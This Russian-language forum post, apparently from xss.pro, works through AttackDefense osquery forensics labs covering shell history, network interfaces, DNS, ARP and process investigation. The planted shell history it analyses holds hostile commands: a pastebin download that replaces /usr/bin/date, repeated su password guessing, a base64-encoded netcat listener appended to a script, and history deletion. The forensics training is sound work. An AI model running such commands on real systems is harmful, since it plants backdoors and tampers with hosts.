| 1000 |  remotecon -i id_rsa 10.10.10.2                          | karen    | 2019-05-20 09:01:40 |
| 1000 |  exit                                                    | karen    | 2019-05-20 09:18:20 |
| 1000 |  takebackup.sh                                           | karen    | 2019-05-21 09:03:20 |
| 1000 |  date                                                    | karen    | 2019-05-21 09:06:40 |
| 1000 |  echo "Tue May 21 07:21:53 UTC 2019" > /tmp/timestamp    | karen    | 2019-05-21 09:06:41 |
| 1000 |  rm ~/.zsh_history                                       | karen    | 2019-05-21 09:06:45 |
| 1001 | ls -l                                                    | john     | 1970-01-01 00:00:00 |
| 1001 | pwd                                                      | john     | 1970-01-01 00:00:00 |
| 1001 | date                                                     | john     | 1970-01-01 00:00:00 |
| 1001 | echo "FLAG 1/2: efa91742f0efdc00 " > /tmp/flag           | john     | 1970-01-01 00:00:00 |
| 1001 | Exit                                                     | john     | 1970-01-01 00:00:00 |
| 1002 | ls -l                                                    | smith    | 1970-01-01 00:00:00 |
| 1002 | pwd                                                      | smith    | 1970-01-01 00:00:00 |
| 1002 | cat /etc/passwd                                          | smith    | 1970-01-01 00:00:00 |
| 1002 | wget https://pastebin.com/xyhksdshenckas -o script.sh    | smith    | 1970-01-01 00:00:00 |
| 1002 | ls -l                                                    | smith    | 1970-01-01 00:00:00 |
| 1002 | chmod +x script.sh                                       | smith    | 1970-01-01 00:00:00 |
| 1002 | cd /usr/bin                                              | smith    | 1970-01-01 00:00:00 |
| 1002 | sudo wget https://pastebin.com/xyhksdshenckax -o date    | smith    | 1970-01-01 00:00:00 |
| 1002 | chmod +x date                                            | smith    | 1970-01-01 00:00:00 |
| 1002 | mv scripts.sh /tmp/                                      | smith    | 1970-01-01 00:00:00 |
| 1003 | date                                                     | bob      | 1970-01-01 00:00:00 |
| 1003 | pwd                                                      | bob      | 1970-01-01 00:00:00 |
| 1003 | whoami                                                   | bob      | 1970-01-01 00:00:00 |
| 1003 | sudo                                                     | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | su smith                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | exit                                                     | bob      | 1970-01-01 00:00:00 |
| 1003 | date                                                     | bob      | 1970-01-01 00:00:00 |
| 1003 | cd /public/                                              | bob      | 1970-01-01 00:00:00 |
| 1003 | cd resources                                             | bob      | 1970-01-01 00:00:00 |
| 1003 | echo -n "bmMgLWwgMzkwMDA=" | base64 -d >> configcheck.sh | bob      | 1970-01-01 00:00:00 |
| 1003 | cd /tmp/                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | rm -rf *                                                 | bob      | 1970-01-01 00:00:00 |
| 1003 | exit                                                     | bob      | 1970-01-01 00:00:00 |
| 1003 |                                                          | bob      | 1970-01-01 00:00:00 |
+------+----------------------------------------------------------+----------+---------------------+
Как вы можете видеть, пользователь "karen" входил в систему в одно и то же время в течении 3 дней.

9. В какое время пользователь входит в систему? Укажите время в формате ЧЧ:ММ:СС по Гринвичу.
Ответ, очевидно, 09:00:00, что видно из приведенной выше таблицы.

10. Один из пользователей попытался угадать пароль для другого пользователя. Как зовут этого пользователя?
Это явно пользователь bob, комментарии не нужны.

11. У одного из пользователей также есть другой компьютер в другой частной сети. Каков IP-адрес этой машины?
Все, что нам нужно сделать, это проверить предыдущую таблицу на наличие IP-адреса.
Код:
| 1000 |  remotecon -i id_rsa 10.10.10.2                          | karen    | 2019-05-20 09:01:40 |

12. Извлеките скрытый флаг.
Нам просто нужно объединить части флага, и это будет ответом.

Лаборатория №2

Ссылка: https://www.attackdefense.com/challengedetails?cid=1044
Ооо.. Сеть.. Мы будем решать лабораторные работы еще более детально. Я слаб в сети. Я могу ответить правильно, но мое объяснение будет не таким хорошим. Я буду очень рад, если кто-нибудь из вас сможет дать лучшее объяснение, если я объяснил что-то не лучшим образом.

1. Сколько сетевых интерфейсов присутствует на компьютере (исключая loopback)?

Что такое сетевой интерфейс и loopback?
Сетевой интерфейс - это аппаратный компонент или программная конфигурация, которая позволяет устройству подключаться к сети.
Loopback, localhost, - это виртуальный сетевой интерфейс, который используется для установления сетевых подключений внутри одного и того же устройства.

Когда мы проверяем сетевые интерфейсы, мы видим, что всего существует 6 интерфейсов. "lo" - это localhost, поэтому мы это не учитываем (это обратная связь). Кроме этого, существует 5 сетевых интерфейсов, но один из них "ip_vti0" является виртуальным интерфейсом.

Что такое VTI?
Интерфейс виртуального туннеля (VTI) - это тип интерфейса в сети, который используется для настройки VPN-подключений.

Ответ здесь 4, у нас есть 4 физических сетевых интерфейса.
Код:
osquery> select * from interface_details;
+-----------+-------------------+------+-------+--------+-------+----------+----------+--------+--------+---------+---------+--------+--------+------------+-------------+------------+----------+
| interface | mac               | type | mtu   | metric | flags | ipackets | opackets | ibytes | obytes | ierrors | oerrors | idrops | odrops | collisions | last_change | link_speed | pci_slot |
+-----------+-------------------+------+-------+--------+-------+----------+----------+--------+--------+---------+---------+--------+--------+------------+-------------+------------+----------+
| lo        | 00:00:00:00:00:00 | 4    | 65536 | 0      | 65609 | 24       | 24       | 2208   | 2208   | 0       | 0       | 0      | 0      | 0          | -1          | 0          | -1       |
| ip_vti0   | 00:00:00:00:00:00 | 0    | 1480  | 0      | 128   | 0        | 0        | 0      | 0      | 0       | 0       | 0      | 0      | 0          | -1          | 0          | -1       |
| eth0      | 02:42:0a:01:00:04 | 1    | 1500  | 0      | 69699 | 135      | 87       | 12423  | 375097 | 0       | 0       | 0      | 0      | 0          | -1          | 10000      |          |
| eth1      | 02:42:c0:78:7b:02 | 1    | 1500  | 0      | 69699 | 22       | 3        | 1724   | 158    | 0       | 0       | 0      | 0      | 0          | -1          | 10000      |          |
| eth2      | 02:42:c0:0b:2d:02 | 1    | 1500  | 0      | 69699 | 23       | 3        | 1834   | 158    | 0       | 0       | 0      | 0      | 0          | -1          | 10000      |          |
| eth3      | 02:42:c0:58:14:02 | 1    | 1500  | 0      | 69699 | 18       | 0        | 1532   | 0      | 0       | 0       | 0      | 0      | 0          | -1          | 10000      |          |
+-----------+-------------------+------+-------+--------+-------+----------+----------+--------+--------+---------+---------+--------+--------+------------+-------------+------------+----------+

2. Каковa подсеть интерфейса eth0? Используйте формат подсети/CIDR, т.е. 192.168.8.0/24
Некоторые основы:
Вы можете подумать, что я объясняю самые основы, но нет никакого способа объяснить 5, умноженное на 5, без объяснения плюса.

Что такое IP-адрес?
IP-адрес - это идентификатор, присвоенный каждому устройству, подключенному к компьютерной сети. Этот идентификатор состоит из цифр. Каждый IP-адрес состоит из 4 октетов. Каждый октет может быть изменен от 0 до 255, и каждый октет равен 8 битам. Таким образом, IP-адрес может содержать максимум 32 бита (8*4).

IP-адрес обычно делится на две части: сеть и хост. Сетевая часть показывает сеть, в которой находится хост. Хост - это конкретное устройство в сети. Теперь давайте предположим, что у нас есть IP-адрес 192.168.31.101, а наш broadcast адрес - 192.168.255.255, это означает, что 192.168 - это наша сеть, а 192.168.x.x - наши хосты. Примером хоста является - 192.168.31.101.

8-битное значение представляет собой двоичное число с 8 битами. Каждый бит может быть либо 0, либо 1. Каждый бит может находиться в одном из двух состояний (0 или 1), что дает 2 возможности. Теперь, если у нас есть 8 битов вместе, мы можем создать 2^8 уникальных комбинаций, что делает 256. Как мы знаем, каждый октет может изменяться в диапазоне от 0 до 255 (включая 0 и 255). В приведенном выше примере с broadcast адресом 192.168.255.255 это фактически показывает, что у нас может быть любой IP-адрес в диапазоне 192.168.0-255.0-255 , таким образом, из последних двух 0-255 каждый состовляет 256 возможных комбинаций, у нас может быть 65,536 хостов (256^2). Наш сетевой адрес - 192.168.0.0, а наш broadcast адрес - 192.168.0.255. Таким образом, из 65,536 хостов можно использовать только 65,534.

Что такое подсеть?
Подсеть - это часть более крупной сети.

Что такое маска подсети?
Маска подсети - это 32-битное значение, используемое для разделения IP-адреса на две части: сеть и хост.

Что такое нотация CIDR?
Нотация CIDR - это метод представления IP-адресов и связанных с ними масок подсетей.

В приведенном выше примере, когда наш broadcast адрес равен 192.168.255.255, наша маска подсети равна 255.255.0.0, а каждое 255 - 8 бит, 1111111.11111111.0000000.0000000. Таким образом, в целом у нас есть 16 бит сетевой части (255.255) и 16 бит хостовой части (0.0). В CIDR мы бы написали это так 192.168.31.101/16 - 192.168.31.101 это наш IP-адрес (из примера выше), а 16 - бит сетевой части.

Код:
osquery> select * from interface_addresses;
+-----------+---------------+---------------+-----------------+----------------+---------+
| interface | address       | mask          | broadcast       | point_to_point | type    |
+-----------+---------------+---------------+-----------------+----------------+---------+
| lo        | 127.0.0.1     | 255.0.0.0     |                 | 127.0.0.1      | unknown |
| eth0      | 10.1.0.4      | 255.255.0.0   | 10.1.255.255    |                | unknown |
| eth1      | 192.120.123.2 | 255.255.255.0 | 192.120.123.255 |                | unknown |
| eth2      | 192.11.45.2   | 255.255.255.0 | 192.11.45.255   |                | unknown |
| eth3      | 192.88.20.2   | 255.255.255.0 | 192.88.20.255   |                | unknown |
+-----------+---------------+---------------+-----------------+----------------+---------+

IP-адрес eth0 - 10.1.0.4, а broadcast - 10.1.255.255, маска подсети равна - 255.255.0.0, 16 бит сетевой части, CIDR будет 10.1.0.4/16. Мы все сделали правильно, но с лаброаторией что то не то, поэтому наш ответ будет показан как "неудачный".

Продолжение в комментах

Автор grozdniyandy

Источник https://xss.pro/​

 
Последнее редактирование:
3. Сколько DNS-серверов настроено на компьютере?
Что такое DNS-распознаватель и сервер имен?
Распознаватель DNS (DNS Resolver)- это компонент в системе DNS, который преобразует доменные имена в IP-адреса.
Сервер имен (DNS-сервер / nameserver) содержит DNS-записи доменов.

Как мы можем видеть из таблицы ниже, у нас есть 2 записи с типом "nameserver", и у них есть IP-адрес. Они являются распознавателями DNS, наше устройство должно отправить им запрос, и они должны получить и предоставить нам IP-адрес домена.

Что такое поисковый домен DNS (DNS Search domain или Search Domain)?
Домен поиска DNS - это параметр конфигурации, который определяет суффикс домена, автоматически добавляемый к доменным именам, которые не являются полными. Например, предположим, что наш поисковый домен - это "example.com", теперь, если мы напишем "http://gucci" в браузере, поскольку такого домена нет, в конец добавится поисковый домен и будет так http://gucci.example.com.

Третья строка в таблице ниже - "search", это означает, что если мы будем искать "http://gucci " в конец добавится "members.linode.com " и это станет http://gucci.members.linode.com
Код:
osquery> select * from dns_resolvers;
+----+------------+--------------------+---------+---------+
| id | type       | address            | netmask | options |
+----+------------+--------------------+---------+---------+
| 0  | nameserver | 127.0.0.11         | 32      | 1573569 |
| 1  | nameserver | 208.67.222.222     | 32      | 1573569 |
| 0  | search     | members.linode.com |         | 1573569 |
+----+------------+--------------------+---------+---------+

4. Какая популярная служба DNS используется на компьютере?
Как мы можем видеть из таблицы выше, первый сервер имен - это локальный адрес, второй имеет общедоступный ip 208.67.222.222 - когда мы проверяем его, мы видим, что он принадлежит OpenDNS - https://check-host.net/ip-info?host=208.67.222.222

5. Какой интерфейс выступает в качестве шлюза по умолчанию для компьютера?
Мы можем ясно видеть, что существует только один шлюз, и он принадлежит eth0.
Код:
osquery> select * from routes;
+-----------------+---------+----------+--------------+-------+-----------+-----+--------+-----------+----------+
| destination     | netmask | gateway  | source       | flags | interface | mtu | metric | type      | hopcount |
+-----------------+---------+----------+--------------+-------+-----------+-----+--------+-----------+----------+
| 0.0.0.0         | 0       | 10.1.0.1 |              | 0     | eth0      | 0   | 0      | gateway   | 0        |
| 10.1.0.0        | 16      |          | 10.1.0.6     | 0     | eth0      | 0   | 0      | gateway   | 0        |
| 192.39.179.0    | 24      |          | 192.39.179.2 | 0     | eth2      | 0   | 0      | gateway   | 0        |
| 192.60.161.0    | 24      |          | 192.60.161.2 | 0     | eth1      | 0   | 0      | gateway   | 0        |
| 192.232.47.0    | 24      |          | 192.232.47.2 | 0     | eth3      | 0   | 0      | gateway   | 0        |
| 10.1.0.0        | 0       |          | 10.1.0.6     | 0     | eth0      | 0   | 0      | broadcast | 0        |
| 10.1.0.6        | 0       |          | 10.1.0.6     | 0     | eth0      | 0   | 0      | local     | 0        |
| 10.1.255.255    | 0       |          | 10.1.0.6     | 0     | eth0      | 0   | 0      | broadcast | 0        |
| 127.0.0.0       | 0       |          | 127.0.0.1    | 0     | lo        | 0   | 0      | broadcast | 0        |
| 127.0.0.0       | 8       |          | 127.0.0.1    | 0     | lo        | 0   | 0      | local     | 0        |
| 127.0.0.1       | 0       |          | 127.0.0.1    | 0     | lo        | 0   | 0      | local     | 0        |
| 127.255.255.255 | 0       |          | 127.0.0.1    | 0     | lo        | 0   | 0      | broadcast | 0        |
| 192.39.179.0    | 0       |          | 192.39.179.2 | 0     | eth2      | 0   | 0      | broadcast | 0        |
| 192.39.179.2    | 0       |          | 192.39.179.2 | 0     | eth2      | 0   | 0      | local     | 0        |
| 192.39.179.255  | 0       |          | 192.39.179.2 | 0     | eth2      | 0   | 0      | broadcast | 0        |
| 192.60.161.0    | 0       |          | 192.60.161.2 | 0     | eth1      | 0   | 0      | broadcast | 0        |
| 192.60.161.2    | 0       |          | 192.60.161.2 | 0     | eth1      | 0   | 0      | local     | 0        |
| 192.60.161.255  | 0       |          | 192.60.161.2 | 0     | eth1      | 0   | 0      | broadcast | 0        |
| 192.232.47.0    | 0       |          | 192.232.47.2 | 0     | eth3      | 0   | 0      | broadcast | 0        |
| 192.232.47.2    | 0       |          | 192.232.47.2 | 0     | eth3      | 0   | 0      | local     | 0        |
| 192.232.47.255  | 0       |          | 192.232.47.2 | 0     | eth3      | 0   | 0      | broadcast | 0        |
+-----------------+---------+----------+--------------+-------+-----------+-----+--------+-----------+----------+

6. Сколько записей содержится в кэше ARP?
Здесь без комментариев.
Код:
osquery> select * from arp_cache;
+--------------+-------------------+-----------+-----------+
| address      | mac               | interface | permanent |
+--------------+-------------------+-----------+-----------+
| 192.60.161.3 | 02:42:c0:3c:a1:03 | eth1      | 0         |
| 192.39.179.3 | 02:42:c0:27:b3:03 | eth2      | 0         |
| 10.1.0.2     | 02:42:0a:01:00:02 | eth0      | 0         |
+--------------+-------------------+-----------+-----------+

7. Каково заданное имя хоста (hostname) машины?
Чтобы узнать, каково наше имя хоста, мы должны проверить адреса нашего интерфейса. Итак, наши имена хостов - localhost и attackdefense. (IP-адреса в предыдущем комментарии и в этом могут отличаться, поскольку я перезапустил лабораторию)
Код:
osquery> select * from interface_addresses;
+-----------+--------------+---------------+----------------+----------------+---------+
| interface | address      | mask          | broadcast      | point_to_point | type    |
+-----------+--------------+---------------+----------------+----------------+---------+
| lo        | 127.0.0.1    | 255.0.0.0     |                | 127.0.0.1      | unknown |
| eth0      | 10.1.0.6     | 255.255.0.0   | 10.1.255.255   |                | unknown |
| eth1      | 192.60.161.2 | 255.255.255.0 | 192.60.161.255 |                | unknown |
| eth2      | 192.39.179.2 | 255.255.255.0 | 192.39.179.255 |                | unknown |
| eth3      | 192.232.47.2 | 255.255.255.0 | 192.232.47.255 |                | unknown |
+-----------+--------------+---------------+----------------+----------------+---------+

Код:
osquery> select * from etc_hosts;
+--------------+--------------------------------------+
| address      | hostnames                            |
+--------------+--------------------------------------+
| 127.0.0.1    | localhost                            | ------> Tuta
| ::1          | localhost ip6-localhost ip6-loopback |
| fe00::0      | ip6-localnet                         |
| ff00::0      | ip6-mcastprefix                      |
| ff02::1      | ip6-allnodes                         |
| ff02::2      | ip6-allrouters                       |
| 10.1.0.6     | attackdefense.com attackdefense      | ------> Tuta
| 192.60.161.2 | attackdefense.com attackdefense      | ------> Tuta
| 192.39.179.2 | attackdefense.com attackdefense      | ------> Tuta
| 192.232.47.2 | attackdefense.com attackdefense      | ------> Tuta
| 192.60.161.3 | test2.localserver.xyz                |
| 192.39.179.3 | target5.localserver.xyz              |
+--------------+--------------------------------------+

8. Компьютер в домене test2.attackdef.xyz доступен через какой интерфейс?
IP-адрес имени хоста test2.localserver.xyz - 192.60.161.3
Код:
osquery> select * from etc_hosts;
+--------------+--------------------------------------+
| address      | hostnames                            |
+--------------+--------------------------------------+
| 127.0.0.1    | localhost                            |
| ::1          | localhost ip6-localhost ip6-loopback |
| fe00::0      | ip6-localnet                         |
| ff00::0      | ip6-mcastprefix                      |
| ff02::1      | ip6-allnodes                         |
| ff02::2      | ip6-allrouters                       |
| 10.1.0.6     | attackdefense.com attackdefense      |
| 192.60.161.2 | attackdefense.com attackdefense      |
| 192.39.179.2 | attackdefense.com attackdefense      |
| 192.232.47.2 | attackdefense.com attackdefense      |
| 192.60.161.3 | test2.localserver.xyz                | ------> Tuta
| 192.39.179.3 | target5.localserver.xyz              |
+--------------+--------------------------------------+
IP-адреса интерфейса eth1 могут варьироваться от 192.60.161.0 до 192.60.161.255, и IP-адрес 192.60.161.3 находится в этом диапазоне, поэтому наш ответ - eth1.
Код:
osquery> select * from interface_addresses;
+-----------+--------------+---------------+----------------+----------------+---------+
| interface | address      | mask          | broadcast      | point_to_point | type    |
+-----------+--------------+---------------+----------------+----------------+---------+
| lo        | 127.0.0.1    | 255.0.0.0     |                | 127.0.0.1      | unknown |
| eth0      | 10.1.0.6     | 255.255.0.0   | 10.1.255.255   |                | unknown |
| eth1      | 192.60.161.2 | 255.255.255.0 | 192.60.161.255 |                | unknown |
| eth2      | 192.39.179.2 | 255.255.255.0 | 192.39.179.255 |                | unknown |
| eth3      | 192.232.47.2 | 255.255.255.0 | 192.232.47.255 |                | unknown |
+-----------+--------------+---------------+----------------+----------------+---------+

Лаборатория №3

Ссылка: https://www.attackdefense.com/challengedetails?cid=1045

1. Каков путь к закрытому ключу SSH для пользователя ‘john’?
Я понятия не имею, как его найти, поэтому я проверю названия таблиц на наличие таких ключевых слов, как "ssh", "key", "user"

Изображение [2]: Ищем us

Изображение [2]: Ищем "us"

Изображение [3]: Ищем ssh

Изображение [3]: Ищем "ssh"

Изображение [4]: Ищем key

Изображение [4]: Ищем "key"​

Очевидно что мы должны чекнуть таблицу user_ssh_keys. Когда я попытался проверить это, osquery ответил сообщением о том, что мне следует рассмотреть возможность объединения (JOIN) с другой таблицей, поэтому я присоединил таблицу "users" с "user_ssh_keys". В качестве ответа я получил пустой ответ. Насколько я понимаю, эта таблица пуста.
Код:
osquery> select * from user_ssh_keys;
W1001 14:49:58.585887   177 virtual_table.cpp:987] The user_ssh_keys table returns data based on the current user by default, consider JOINing against the users table
W1001 14:49:58.585916   177 virtual_table.cpp:1002] Please see the table documentation: https://osquery.io/schema/#user_ssh_keys
osquery> PRAGMA table_info(user_ssh_keys);
+-----+-----------+---------+---------+------------+----+
| cid | name      | type    | notnull | dflt_value | pk |
+-----+-----------+---------+---------+------------+----+
| 0   | uid       | BIGINT  | 1       |            | 1  |
| 1   | path      | TEXT    | 1       |            | 2  |
| 2   | encrypted | INTEGER | 0       |            | 0  |
+-----+-----------+---------+---------+------------+----+
osquery> SELECT users.uid, user_ssh_keys.path, users.username FROM users INNER JOIN user_ssh_keys on users.uid = user_ssh_keys.uid;
# Pustoy otvet
Я решил проверить shell_history, чтобы увидеть список выполненных команд, так как, возможно, в их пути было указано, но безуспешно. Эта таблица также пуста.
Код:
osquery> SELECT users.uid, shell_history.command, users.username FROM users INNER JOIN shell_history ON users.uid=shell_history.uid;
Поскольку история пуста, я могу проверить список запущенных команд. Я проверю команды, которые содержат слово "ssh".
Код:
osquery> select * from processes where cmdline LIKE "%ssh%";
+-----+------+----------------+----------------------------------------------------------------------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid | name | path           | cmdline                                                              | state | cwd | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-----+------+----------------+----------------------------------------------------------------------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| 163 | ssh  |                | ssh -i /home/tom/john.key -o StrictHostKeyChecking=no john@127.0.0.1 | S     |     |      | 998 | 998 | 998  | 998  | 998  | 998  | -1      | 0          | 5448000       | 44920000   | 10        | 0           |                 | 0                  | 8320429    | 1      | 163    | 1       | 0    |
| 164 | sshd |                | sshd: john [priv]                                                    | S     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          | 6592000       | 90448000   | 0         | 0           |                 | 0                  | 8320429    | 98     | 164    | 1       | 0    |
| 173 | sshd |                | sshd: john@notty                                                     | S     |     |      | 999 | 999 | 999  | 999  | 999  | 999  | -1      | 0          | 3340000       | 90448000   | 0         | 0           |                 | 0                  | 8320429    | 164    | 164    | 1       | 0    |
| 98  | sshd | /usr/sbin/sshd | /usr/sbin/sshd                                                       | S     | /   | /    | 0   | 0   | 0    | 0    | 0    | 0    | 1       | 0          | 3104000       | 65508000   | 0         | 0           | 0               | 4096               | 8320428    | 1      | 98     | 1       | 0    |
+-----+------+----------------+----------------------------------------------------------------------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
Наш ответ - /home/tom/john.key

2. Запущен процесс с правами root, файл был удален из файловой системы. Найдите путь к удаленному файлу.
Итак, в данном случае файл, который был запущен, удален во время его запуска. Если мы удалим файл во время его запуска, файл будет удален из файловой системы, но программа может продолжить работу, потому что, когда мы запускаем программу, ядро загружает ее в память, и программа запускается из памяти, а не непосредственно из файла на диске. Таким образом, пока мы не перезагрузим наш компьютер, файл будет продолжать работать.
Под памятью я подразумевал оперативную память (RAM) - когда мы запускаем программу, операционная система загружает исполняемый код программы в оперативную память, чтобы он мог быть запущен центральным процессором (CPU).
Код:
osquery> select * from processes where uid = 0 and on_disk = 0;
+-----+---------+---------------+-----------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid | name    | path          | cmdline         | state | cwd   | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-----+---------+---------------+-----------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| 41  | sample1 | /root/sample1 | /root/./sample1 | S     | /root | /    | 0   | 0   | 0    | 0    | 0    | 0    | 0       | 0          | 632000        | 4216000    | 0         | 0           | 12288           | 0                  | 8320428    | 1      | 41     | 1       | 0    |
+-----+---------+---------------+-----------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
Ну, если файл был запущен с правами root, то "uid" будет равен "0" и если файл был удален, то его нет на диске, поэтому "on_disk" также будет равен 0.

3. Найдите путь к файлу процесса, который создал множество процессов-зомби.
Что такое Зомби-процесс?
Зомби-процесс - это процесс, который завершил свое выполнение, но все еще имеет запись в таблице процессов.
Код:
osquery> select * from processes;
+-----+-------------+----------------------+----------------------------------------------------------------------+-------+-----------------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid | name        | path                 | cmdline                                                              | state | cwd             | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-----+-------------+----------------------+----------------------------------------------------------------------+-------+-----------------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
Существует столбец "state", который показывает "состояние" процесса.

Что такое состояние процесса?
Насколько я понимаю, state - это статус процесса.
Запущенный (R - Running): процесс, который выполняется в данный момент.
Спящий (S - Sleeping): процесс, ожидающий наступления события или появления ресурса.
Ожидание (D - Waiting): процесс, находящийся в состоянии непрерывного ожидания.
Остановленный (T или X - Stopped): процесс, который был остановлен либо пользователем, либо системой.
Зомби (Z - Zombie): Зомби-процесс - это процесс, который завершил свое выполнение, но ожидает завершения своего родительского процесса.

В чем разница между спящим процессом и процессом ожидания?
Спящий процесс добровольно приостанавливается на заданный промежуток времени. Процесс ожидания застрял и не может продолжаться до тех пор, пока не произойдет внешнее событие. Внешнее событие - это событие, которое не контролируется самим запущенным процессом.

Код:
osquery> select * from processes where state = 'Z';
+-----+-----------+------+---------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid | name      | path | cmdline | state | cwd | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-----+-----------+------+---------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| 12  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 13  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 14  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 15  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 16  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 17  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 18  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 19  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 20  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 21  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 23  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 24  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 25  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 26  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 27  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 28  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 29  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 30  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 31  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 32  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
